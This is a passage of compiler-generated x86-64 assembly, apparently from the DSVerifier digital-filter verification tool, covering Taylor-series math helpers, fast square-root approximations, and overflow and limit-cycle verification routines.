movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 0
jle .L913
movsd xmm0, QWORD PTR .LC7[rip]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR .LC7[rip]
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 1
jle .L913
movsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm2, QWORD PTR .LC58[rip]
movapd xmm1, xmm0
divsd xmm1, xmm2
movsd xmm0, QWORD PTR -24[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 2
jle .L913
movsd xmm0, QWORD PTR -8[rbp]
mulsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm1, QWORD PTR .LC59[rip]
divsd xmm0, xmm1
movsd xmm1, QWORD PTR -24[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 3
jle .L913
movsd xmm0, QWORD PTR -8[rbp]
mulsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm2, QWORD PTR .LC60[rip]
movapd xmm1, xmm0
divsd xmm1, xmm2
movsd xmm0, QWORD PTR -24[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 4
jle .L913
movsd xmm0, QWORD PTR -8[rbp]
mulsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm1, QWORD PTR .LC61[rip]
divsd xmm0, xmm1
movsd xmm1, QWORD PTR -24[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 5
jle .L913
movsd xmm0, QWORD PTR -8[rbp]
mulsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm2, QWORD PTR .LC62[rip]
movapd xmm1, xmm0
divsd xmm1, xmm2
movsd xmm0, QWORD PTR -24[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 6
jle .L913
lea rdi, .LC56[rip]
call puts@PLT
.L913:
movsd xmm0, QWORD PTR -24[rbp]
movq rax, xmm0
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE124:
.size cosTyl, .-cosTyl
.section .rodata
.align 8
.LC66:
.string "Warning: Function sinTyl from bmc/core/filter_functions.h: Precision representation exceeded. Assuming maximum precision of 4"
.text
.globl atanTyl
.type atanTyl, @function
atanTyl:
.LFB125:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
movsd QWORD PTR -40[rbp], xmm0
mov DWORD PTR -44[rbp], edi
movsd xmm0, QWORD PTR -40[rbp]
mulsd xmm0, xmm0
movsd QWORD PTR -16[rbp], xmm0
cmp DWORD PTR -44[rbp], 0
jns .L916
lea rdi, .LC50[rip]
call puts@PLT
mov DWORD PTR -44[rbp], 0
.L916:
cmp DWORD PTR -44[rbp], 0
js .L917
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 0
jle .L917
movsd xmm0, QWORD PTR -40[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 1
jle .L917
movsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm2, QWORD PTR .LC63[rip]
movapd xmm1, xmm0
divsd xmm1, xmm2
movsd xmm0, QWORD PTR -24[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 2
jle .L917
movsd xmm0, QWORD PTR -8[rbp]
mulsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm1, QWORD PTR .LC64[rip]
divsd xmm0, xmm1
movsd xmm1, QWORD PTR -24[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 3
jle .L917
movsd xmm0, QWORD PTR -8[rbp]
mulsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm2, QWORD PTR .LC65[rip]
movapd xmm1, xmm0
divsd xmm1, xmm2
movsd xmm0, QWORD PTR -24[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
cmp DWORD PTR -44[rbp], 6
jle .L917
lea rdi, .LC66[rip]
call puts@PLT
.L917:
movsd xmm0, QWORD PTR -24[rbp]
movq rax, xmm0
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE125:
.size atanTyl, .-atanTyl
.globl sqrt1
.type sqrt1, @function
sqrt1:
.LFB126:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movss DWORD PTR -20[rbp], xmm0
movss xmm1, DWORD PTR -20[rbp]
movss xmm0, DWORD PTR .LC67[rip]
mulss xmm0, xmm1
movss DWORD PTR -4[rbp], xmm0
movss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR -8[rbp], xmm0
mov eax, DWORD PTR -8[rbp]
sar eax
mov edx, eax
mov eax, 1597463007
sub eax, edx
mov DWORD PTR -8[rbp], eax
movss xmm0, DWORD PTR -8[rbp]
movaps xmm1, xmm0
mulss xmm1, DWORD PTR -20[rbp]
movss xmm0, DWORD PTR -8[rbp]
movaps xmm2, xmm0
mulss xmm2, DWORD PTR -4[rbp]
movss xmm0, DWORD PTR -8[rbp]
mulss xmm2, xmm0
movss xmm0, DWORD PTR .LC68[rip]
subss xmm0, xmm2
mulss xmm0, xmm1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE126:
.size sqrt1, .-sqrt1
.globl sqrt2
.type sqrt2, @function
sqrt2:
.LFB127:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movss DWORD PTR -20[rbp], xmm0
movss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR -4[rbp], xmm0
mov eax, DWORD PTR -4[rbp]
sar eax
add eax, 532676608
mov DWORD PTR -4[rbp], eax
movss xmm0, DWORD PTR -4[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE127:
.size sqrt2, .-sqrt2
.globl fabsolut
.type fabsolut, @function
fabsolut:
.LFB128:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movss DWORD PTR -4[rbp], xmm0
pxor xmm0, xmm0
comiss xmm0, DWORD PTR -4[rbp]
jbe .L924
movss xmm0, DWORD PTR -4[rbp]
movss xmm1, DWORD PTR .LC69[rip]
xorps xmm0, xmm1
movss DWORD PTR -4[rbp], xmm0
.L924:
movss xmm0, DWORD PTR -4[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE128:
.size fabsolut, .-fabsolut
.type sqrt3, @function
sqrt3:
.LFB129:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 40
movss DWORD PTR -36[rbp], xmm0
movss xmm0, DWORD PTR -36[rbp]
movss xmm1, DWORD PTR .LC70[rip]
divss xmm0, xmm1
movss DWORD PTR -32[rbp], xmm0
movsd xmm0, QWORD PTR .LC71[rip]
movsd QWORD PTR -16[rbp], xmm0
mov DWORD PTR -24[rbp], 0
pxor xmm0, xmm0
ucomiss xmm0, DWORD PTR -36[rbp]
jp .L929
pxor xmm0, xmm0
ucomiss xmm0, DWORD PTR -36[rbp]
jne .L929
pxor xmm0, xmm0
movss DWORD PTR -32[rbp], xmm0
jmp .L931
.L929:
mov DWORD PTR -28[rbp], 1
jmp .L932
.L936:
cmp DWORD PTR -24[rbp], 0
jne .L934
movss xmm0, DWORD PTR -32[rbp]
movaps xmm1, xmm0
mulss xmm1, xmm0
movss xmm0, DWORD PTR -36[rbp]
subss xmm0, xmm1
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, DWORD PTR -32[rbp]
addsd xmm0, xmm0
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtsd2ss xmm0, xmm1
movss DWORD PTR -20[rbp], xmm0
movss xmm0, DWORD PTR -32[rbp]
addss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR -32[rbp], xmm0
movss xmm0, DWORD PTR -32[rbp]
movaps xmm1, xmm0
mulss xmm1, xmm0
movss xmm0, DWORD PTR -36[rbp]
subss xmm0, xmm1
cvtss2sd xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
pxor xmm2, xmm2
cvtsd2ss xmm2, QWORD PTR -8[rbp]
movd eax, xmm2
movd xmm0, eax
call fabsolut
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR -16[rbp]
comisd xmm0, xmm1
jb .L934
mov DWORD PTR -24[rbp], 1
.L934:
add DWORD PTR -28[rbp], 1
.L932:
cmp DWORD PTR -28[rbp], 19
jle .L936
.L931:
movss xmm0, DWORD PTR -32[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE129:
.size sqrt3, .-sqrt3
.globl verify_overflow
.type verify_overflow, @function
verify_overflow:
.LFB130:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 296
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov QWORD PTR -248[rbp], rax
mov edx, DWORD PTR ds[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -152[rbp], rax
movsx rax, edx
mov rcx, rax
mov ebx, 0
movsx rax, edx
mov rsi, rax
mov edi, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L941:
cmp rsp, rcx
je .L942
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L941
.L942:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L943
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L943:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -160[rbp], rax
mov edx, DWORD PTR ds[rip+1608]
movsx rax, edx
sub rax, 1
mov QWORD PTR -168[rbp], rax
movsx rax, edx
mov r8, rax
mov r9d, 0
movsx rax, edx
mov r10, rax
mov r11d, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L944:
cmp rsp, rcx
je .L945
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L944
.L945:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L946
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L946:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -176[rbp], rax
mov edx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -160[rbp]
mov rsi, rax
lea rdi, ds[rip]
call fxp_double_to_fxp_array
mov edx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -176[rbp]
mov rsi, rax
lea rdi, ds[rip+808]
call fxp_double_to_fxp_array
mov rax, QWORD PTR impl[rip+16]
movq xmm0, rax
call fxp_double_to_fxp
mov QWORD PTR -184[rbp], rax
mov rax, QWORD PTR impl[rip+8]
movq xmm0, rax
call fxp_double_to_fxp
mov QWORD PTR -144[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -136[rbp], rax
movsx rax, edx
mov r12, rax
mov r13d, 0
movsx rax, edx
mov r14, rax
mov r15d, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L947:
cmp rsp, rcx
je .L948
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L947
.L948:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L949
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L949:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -128[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -120[rbp], rax
movsx rax, edx
mov QWORD PTR -208[rbp], rax
mov QWORD PTR -200[rbp], 0
movsx rax, edx
mov QWORD PTR -224[rbp], rax
mov QWORD PTR -216[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L950:
cmp rsp, rcx
je .L951
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L950
.L951:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L952
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L952:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -112[rbp], rax
mov DWORD PTR -192[rbp], 0
jmp .L953
.L956:
mov rdx, QWORD PTR -128[rbp]
mov eax, DWORD PTR -192[rbp]
cdqe
mov QWORD PTR [rdx+rax*8], 0
mov eax, 0
call nondet_int@PLT
movsx rcx, eax
mov rdx, QWORD PTR -112[rbp]
mov eax, DWORD PTR -192[rbp]
cdqe
mov QWORD PTR [rdx+rax*8], rcx
mov rdx, QWORD PTR -112[rbp]
mov eax, DWORD PTR -192[rbp]
cdqe
mov rax, QWORD PTR [rdx+rax*8]
cmp QWORD PTR -184[rbp], rax
jg .L954
mov rdx, QWORD PTR -112[rbp]
mov eax, DWORD PTR -192[rbp]
cdqe
mov rax, QWORD PTR [rdx+rax*8]
cmp QWORD PTR -144[rbp], rax
jl .L954
mov eax, 1
jmp .L955
.L954:
mov eax, 0
.L955:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
add DWORD PTR -192[rbp], 1
.L953:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -192[rbp], eax
jl .L956
mov DWORD PTR -188[rbp], 0
mov edx, DWORD PTR ds[rip+1608]
mov eax, DWORD PTR ds[rip+800]
cmp edx, eax
cmovge eax, edx
mov DWORD PTR -188[rbp], eax
mov edx, DWORD PTR ds[rip+800]
mov rax, rsp
mov rbx, rax
movsx rax, edx
sub rax, 1
mov QWORD PTR -104[rbp], rax
movsx rax, edx
mov QWORD PTR -240[rbp], rax
mov QWORD PTR -232[rbp], 0
movsx rax, edx
mov QWORD PTR -272[rbp], rax
mov QWORD PTR -264[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L957:
cmp rsp, rdx
je .L958
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L957
.L958:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L959
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L959:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -96[rbp], rax
mov eax, DWORD PTR ds[rip+1608]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -88[rbp], rdx
movsx rdx, eax
mov QWORD PTR -288[rbp], rdx
mov QWORD PTR -280[rbp], 0
movsx rdx, eax
mov QWORD PTR -304[rbp], rdx
mov QWORD PTR -296[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L960:
cmp rsp, rdx
je .L961
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L960
.L961:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L962
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L962:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -80[rbp], rax
mov eax, DWORD PTR -188[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov QWORD PTR -320[rbp], rdx
mov QWORD PTR -312[rbp], 0
movsx rdx, eax
mov QWORD PTR -336[rbp], rdx
mov QWORD PTR -328[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L963:
cmp rsp, rdx
je .L964
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L963
.L964:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L965
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L965:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -64[rbp], rax
mov DWORD PTR -192[rbp], 0
jmp .L966
.L967:
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -192[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], 0
add DWORD PTR -192[rbp], 1
.L966:
mov eax, DWORD PTR ds[rip+800]
cmp DWORD PTR -192[rbp], eax
jl .L967
mov DWORD PTR -192[rbp], 0
jmp .L968
.L969:
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -192[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], 0
add DWORD PTR -192[rbp], 1
.L968:
mov eax, DWORD PTR ds[rip+1608]
cmp DWORD PTR -192[rbp], eax
jl .L969
mov DWORD PTR -192[rbp], 0
jmp .L970
.L971:
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -192[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], 0
add DWORD PTR -192[rbp], 1
.L970:
mov eax, DWORD PTR -192[rbp]
cmp eax, DWORD PTR -188[rbp]
jl .L971
mov DWORD PTR -192[rbp], 0
jmp .L972
.L973:
mov edx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -112[rbp]
mov ecx, DWORD PTR -192[rbp]
movsx rcx, ecx
mov rax, QWORD PTR [rax+rcx*8]
mov rcx, QWORD PTR -80[rbp]
mov rsi, rcx
mov rdi, rax
call shiftL
mov r8d, DWORD PTR ds[rip+1608]
mov edi, DWORD PTR ds[rip+800]
mov rcx, QWORD PTR -176[rbp]
mov rdx, QWORD PTR -160[rbp]
mov rsi, QWORD PTR -80[rbp]
mov rax, QWORD PTR -96[rbp]
mov r9d, r8d
mov r8d, edi
mov rdi, rax
call fxp_direct_form_1
mov rdx, QWORD PTR -128[rbp]
mov ecx, DWORD PTR -192[rbp]
movsx rcx, ecx
mov QWORD PTR [rdx+rcx*8], rax
mov edx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -128[rbp]
mov ecx, DWORD PTR -192[rbp]
movsx rcx, ecx
mov rax, QWORD PTR [rax+rcx*8]
mov rcx, QWORD PTR -96[rbp]
mov rsi, rcx
mov rdi, rax
call shiftL
add DWORD PTR -192[rbp], 1
.L972:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -192[rbp], eax
jl .L973
mov DWORD PTR overflow_mode[rip], 1
mov edx, DWORD PTR X_SIZE_VALUE[rip]
mov rax, QWORD PTR -128[rbp]
mov esi, edx
mov rdi, rax
call fxp_verify_overflow_array
mov eax, 0
mov rsp, rbx
mov rsp, QWORD PTR -248[rbp]
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L975
call __stack_chk_fail@PLT
.L975:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE130:
.size verify_overflow, .-verify_overflow
.section .rodata
.align 8
.LC72:
.string "#matrix STATES -------------------------------"
.align 8
.LC73:
.string "#matrix OUTPUTS -------------------------------"
.align 8
.LC74:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
.text
.globl verify_limit_cycle_state_space
.type verify_limit_cycle_state_space, @function
verify_limit_cycle_state_space:
.LFB131:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 544
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -536[rbp], 0
jmp .L977
.L980:
mov DWORD PTR -540[rbp], 0
jmp .L978
.L979:
mov eax, DWORD PTR -540[rbp]
movsx rdx, eax
mov eax, DWORD PTR -536[rbp]
cdqe
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -272[rbp+rax*8], xmm0
mov eax, DWORD PTR -540[rbp]
movsx rdx, eax
mov eax, DWORD PTR -536[rbp]
cdqe
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -144[rbp+rax*8], xmm0
mov eax, DWORD PTR -540[rbp]
movsx rdx, eax
mov eax, DWORD PTR -536[rbp]
cdqe
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -528[rbp+rax*8], xmm0
mov eax, DWORD PTR -540[rbp]
movsx rdx, eax
mov eax, DWORD PTR -536[rbp]
cdqe
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -400[rbp+rax*8], xmm0
add DWORD PTR -540[rbp], 1
.L978:
cmp DWORD PTR -540[rbp], 3
jle .L979
add DWORD PTR -536[rbp], 1
.L977:
cmp DWORD PTR -536[rbp], 3
jle .L980
mov eax, DWORD PTR nStates[rip]
mov edx, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
sub rsp, 8
lea rax, -272[rbp]
push rax
lea r9, _controller[rip+512]
lea r8, _controller[rip+256]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nInputs[rip]
mov edx, eax
mov eax, DWORD PTR nInputs[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
sub rsp, 8
lea rax, -144[rbp]
push rax
lea r9, _controller[rip+768]
lea r8, _controller[rip+384]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
lea rdx, -144[rbp]
lea rax, -272[rbp]
lea r8, _controller[rip+640]
mov rcx, rdx
mov rdx, rax
mov esi, 1
call double_add_matrix
mov DWORD PTR -544[rbp], 0
mov DWORD PTR -536[rbp], 1
jmp .L981
.L986:
mov eax, DWORD PTR nStates[rip]
mov edx, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
sub rsp, 8
lea rax, -272[rbp]
push rax
lea r9, _controller[rip+512]
lea r8, _controller[rip]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nInputs[rip]
mov edx, eax
mov eax, DWORD PTR nInputs[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
sub rsp, 8
lea rax, -144[rbp]
push rax
lea r9, _controller[rip+768]
lea r8, _controller[rip+128]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rdx, -144[rbp]
lea rax, -272[rbp]
lea r8, _controller[rip+512]
mov rcx, rdx
mov rdx, rax
mov esi, 1
call double_add_matrix
mov eax, DWORD PTR nStates[rip]
mov edx, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
sub rsp, 8
lea rax, -272[rbp]
push rax
lea r9, _controller[rip+512]
lea r8, _controller[rip+256]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nInputs[rip]
mov edx, eax
mov eax, DWORD PTR nInputs[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
sub rsp, 8
lea rax, -144[rbp]
push rax
lea r9, _controller[rip+768]
lea r8, _controller[rip+384]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
lea rdx, -144[rbp]
lea rax, -272[rbp]
lea r8, _controller[rip+640]
mov rcx, rdx
mov rdx, rax
mov esi, 1
call double_add_matrix
mov DWORD PTR -532[rbp], 0
jmp .L982
.L983:
mov eax, DWORD PTR -532[rbp]
cdqe
add rax, 16
sal rax, 5
mov rdx, rax
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -544[rbp]
movsx rdx, eax
mov eax, DWORD PTR -532[rbp]
cdqe
sal rax, 2
add rax, rdx
movsd QWORD PTR -528[rbp+rax*8], xmm0
add DWORD PTR -532[rbp], 1
.L982:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -532[rbp], eax
jl .L983
mov DWORD PTR -532[rbp], 0
jmp .L984
.L985:
mov eax, DWORD PTR -532[rbp]
cdqe
add rax, 20
sal rax, 5
mov rdx, rax
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -544[rbp]
movsx rdx, eax
mov eax, DWORD PTR -532[rbp]
cdqe
sal rax, 2
add rax, rdx
movsd QWORD PTR -528[rbp+rax*8], xmm0
add DWORD PTR -532[rbp], 1
.L984:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -532[rbp], eax
jl .L985
add DWORD PTR -544[rbp], 1
add DWORD PTR -536[rbp], 1
.L981:
cmp DWORD PTR -536[rbp], 0
js .L986
lea rdi, .LC72[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR nStates[rip]
mov ecx, eax
lea rax, -528[rbp]
mov edx, 0
mov esi, ecx
mov rdi, rax
call print_matrix
lea rdi, .LC73[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR nOutputs[rip]
mov ecx, eax
lea rax, -400[rbp]
mov edx, 0
mov esi, ecx
mov rdi, rax
call print_matrix
lea rcx, __PRETTY_FUNCTION__.8[rip]
mov edx, 93
lea rsi, .LC74[rip]
lea rdi, .LC49[rip]
call __assert_fail@PLT
.cfi_endproc
.LFE131:
.size verify_limit_cycle_state_space, .-verify_limit_cycle_state_space
.section .rodata
.align 8
.LC75:
.string "X_SIZE must be at least 2 * ds.a_size"
.text
.globl verify_limit_cycle
.type verify_limit_cycle, @function
verify_limit_cycle:
.LFB132:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 472
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov QWORD PTR -424[rbp], rax
mov DWORD PTR overflow_mode[rip], 3
mov eax, DWORD PTR ds[rip+800]
add eax, eax
mov DWORD PTR -232[rbp], eax
lea rdi, .LC75[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -232[rbp], eax
setle al
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
